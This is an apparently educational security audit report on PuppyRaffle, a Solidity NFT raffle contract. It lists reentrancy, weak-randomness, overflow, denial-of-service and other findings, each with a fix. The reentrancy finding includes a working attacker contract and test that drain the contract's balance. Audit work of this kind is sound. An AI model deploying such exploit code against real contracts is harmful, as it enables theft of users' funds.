



PuppyRaffle Audit Report

Version 1.0

Grimm

November 28, 2025

Protocol Audit Report

Grimm

November 28, 2025

Prepared by: Grimm

Lead Auditors:

- Grimm

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Grimm team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved following Patrick through auditing this smart contract :D

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund()` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain contract balance.

In the `PuppyRaffle::refund()` function, we first make an external call to the `msg.sender` address and only after making the call do we update the `PuppyRaffle::players`

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
4         player can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player
6         already refunded, or is not active");
7     payable(msg.sender).sendValue(entranceFee);
8     players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund()` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with `fallback` function that calls `PuppyRaffle::refund()` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

PoC

Place the following in `PuppyRaffle.t.sol`

```
1 function test_reentrancyRefund() public {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
```

```
8
9
10     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
11         puppyRaffle);
12     address attackUser = makeAddr("attackUser");
13     vm.deal(attackUser, 1 ether);
14
15     uint256 startingAttackContractBalance = address(
16         attackerContract).balance;
17     uint256 startingContractBalance = address(puppyRaffle).
18         balance;
19
20     //attack
21     vm.prank(attackUser);
22     attackerContract.attack{value: entranceFee}();
23     console.log("Starting attack contract balance: ",
24         startingAttackContractBalance);
25     console.log("starting contract balance: ",
26         startingContractBalance);
27
28     console.log("ending attacker contract balance: ", address(
29         attackerContract).balance);
30     console.log("ending contract balance: ", address(
31         puppyRaffle).balance);
32
33 }
```

And this contract as well:

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if(address(puppyRaffle).balance >= entranceFee){
22             puppyRaffle.refund(attackerIndex);
```

```
23     }
24   }
25
26   fallback() external payable{
27     _stealMoney();
28   }
29
30   receive() external payable {
31     _stealMoney();
32   }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund()` update the `players` array before making the external call. Additionally, we should make the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2    address playerAddress = players[playerIndex];
3    require(playerAddress == msg.sender, "PuppyRaffle: Only the
4      player can refund");
5    require(playerAddress != address(0), "PuppyRaffle: Player
6      already refunded, or is not active");
7    + players[playerIndex] = address(0);
8    + emit RaffleRefunded(playerAddress);
9    payable(msg.sender).sendValue(entranceFee);
10   - players[playerIndex] = address(0);
11   - emit RaffleRefunded(playerAddress);
12 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner()` allows users to influence or predict winner. And influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` creates a predictable find number. A predictable number is not a good random number, malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users can front-run this function and call `refund` if they see they aren't the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes the gas war as to who wins the raffle.

Proof of Concept:

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrando.

2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflow.

```
1 uint64 myVar = type(uint64).max; // 18446744073709551615
2 myVar = myVar + 1;
3 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner()`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle and conclude the raffle 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 8000000000000000000 + 17800000000000000000
4 // and this will overflow
5 totalFees = 1532559269044384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees()`

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design for the protocol. At some point there will be too much `balance` in the contract that the above will be impossible to hit

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
```



```
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
        second raffle
22    puppyRaffle.selectWinner();
23
24    uint256 endingTotalFees = puppyRaffle.totalFees();
25    console.log("ending total fees", endingTotalFees);
26    assert(endingTotalFees < startingTotalFees);
27
28    // We are also unable to withdraw any fees because of the
        require check
29    vm.expectRevert("PuppyRaffle: There are currently players
        active!");
30    puppyRaffle.withdrawFees();
31 }
```

Recommended Mitigation: There are a few possible mitigations,

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from the `PuppyRaffle::withdrawFees()`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing regardless.

Medium

[M-1] Looping through players array to check for duplicates in

PuppyRaffle::enterRaffle() is a potential Denial of Service (DoS) Attack, incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle()` function loops through the array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @ audit DoS attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
5                 Duplicate player");
6         }
7     }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that one one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter the gas cost will be as such: - the 1st 100 players: ~6503275 gas - the 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the follow test into `PuppyRaffleTest.t.sol`

```
1 function test_denialOfService() public {
2     vm.txGasPrice(1);
3
4     // enter 100 players
5     uint256 playersNum = 100;
6     address[] memory players = new address[](playersNum);
7     for(uint256 i = 0; i < playersNum; i++) {
8         players[i] = address(i);
9     }
10    uint256 gasStart = gasleft();
```

```

11     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
12         players);
13     uint256 gasEnd = gasleft();
14     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15     console.log("Gas cost for the first 100 players:", gasUsedFirst
16         );
17     // next 100 players
18     address[] memory playersTwo = new address[](playersNum);
19     for(uint256 i = 0; i < playersNum; i++) {
20         playersTwo[i] = address(i + playersNum); // start at 100
21     }
22     uint256 gasStartSecond = gasleft();
23     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
24         playersTwo);
25     uint256 gasEndSecond = gasleft();
26     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
27         gasprice;
28     console.log("Gas cost for the second 100 players:",
29         gasUsedSecond);
30     assert(gasUsedFirst < gasUsedSecond);
31 }

```

Recommended Mitigation: There are a few recommendation.

1. consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```

1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3     .
4     .
5     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         for (uint256 i = 0; i < newPlayers.length; i++) {
10            players.push(newPlayers[i]);
11            addressToRaffleId[newPlayers[i]] = raffleId;
12        }
13    -     // Check for duplicates
14    +     // Check for duplicates only from the new players
15    +     for (uint256 i = 0; i < newPlayers.length; i++) {

```

```
16 +         require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
17 +     }
18 -     for (uint256 i = 0; i < players.length; i++) {
19 -         for (uint256 j = i + 1; j < players.length; j++) {
20 -             require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21 -         }
22 -     }
23     emit RaffleEnter(newPlayers);
24 }
25 .
26 .
27 .
28 function selectWinner() external {
29 +     raffleId = raffleId + 1;
30     require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
    );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
    sender, block.timestamp, block.difficulty))) % players.
    length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>         totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees perma-

nently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-3] Smart contract wallet raffle winners without a receive or fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner()` is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to

restart.

Users could easily call the `selectWinner()` again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner()` could revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the ownness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  /// @return the index of the player in the array, if they are not
    active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
    uint256) {
3      for (uint256 i = 0; i < players.length; i++) {
4          if (players[i] == player) {
5              return i;
6          }
7      }
8      return 0;
9  }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation,

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1]: Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2]: Storage variables in a loop should be cached

Every time you call `players.length` you read from storage as opposed to memory which is more gas efficient

```
1 +      uint256 s_playersLength = players.length
2      // Check for duplicates
3 -      for (uint256 i = 0; i < players.length - 1; i++) {
4 +      for (uint256 i = 0; i < s_playersLength - 1; i++) {
5 -          for (uint256 j = i + 1; j < players.length; j++) {
6 +          for (uint256 j = i + 1; j < s_playersLength; j++) {
7
8              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
9          }
10     }
```

Informational/Non-Critical

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended.

Please use a newer version, (at least 0.8.0). Please see slither documentation for more information

[I-3]: Missing checks for address (0) when assigning values to address state variables

Check for `address (0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1      feeAddress = newFeeAddress;
```

[I-4]: PuppyRaffle::selectWinner does not follow CEI which is not a best practice.

It's best to keep code clean and follow CEI

```
1 -      (bool success,) = winner.call{value: prizePool}("");
2 -      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3      _safeMint(winner, tokenId);
4 +      (bool success,) = winner.call{value: prizePool}("");
5 +      require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

Examples:


```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;  
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

instead you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;  
2 uint256 public constant FEE_PERCENTAGE = 20;  
3 uint256 public constant POOL_PERCISION = 100;
```

[I-6]: State changes are missing events

[I-7]: `PuppyRaffle::_isActivePlayer()` is never used, and should be removed.